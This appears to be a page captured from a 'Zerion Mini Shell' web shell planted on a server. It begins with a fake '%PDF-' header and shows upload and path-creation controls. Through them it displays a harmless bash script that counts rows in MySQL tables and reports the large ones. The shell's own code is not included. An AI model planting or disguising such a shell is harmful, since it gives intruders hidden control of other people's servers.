%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /scripts2/
Upload File :
Create Path :
Current File : //scripts2/mysql_count_rows.sh

#! /bin/bash

MYSQL_DIR="/var/lib/mysql"

cd ${MYSQL_DIR}


for DATABASE in  `ls | awk '{ print $1 }' | cut -d "/" -f 1`
	do 
		if [ -d "${MYSQL_DIR}/${DATABASE}" ]; then
			cd ${MYSQL_DIR}/${DATABASE}
			for TABLE in ` ls | grep ".frm" | cut -d "." -f 1`
				do

					SQL="SELECT COUNT(*) FROM \`${TABLE}\`"
					ROWS=`echo ${SQL} | mysql ${DATABASE} | xargs echo | awk '{ print $2 }'`
		 			IFS=$'\n' 
		  			if [[ ${ROWS} =~ ^[0-9]+$ ]] ; then
			  			if [ ${ROWS} -gt 100000 ]; then
			  
			    			echo "Tabla ${TABLE} base de datos ${DATABASE} gran tiene ${ROWS} registros";
			  			fi
			  		fi
	    		done
			sleep 1
		fi
	done

Zerion Mini Shell 1.0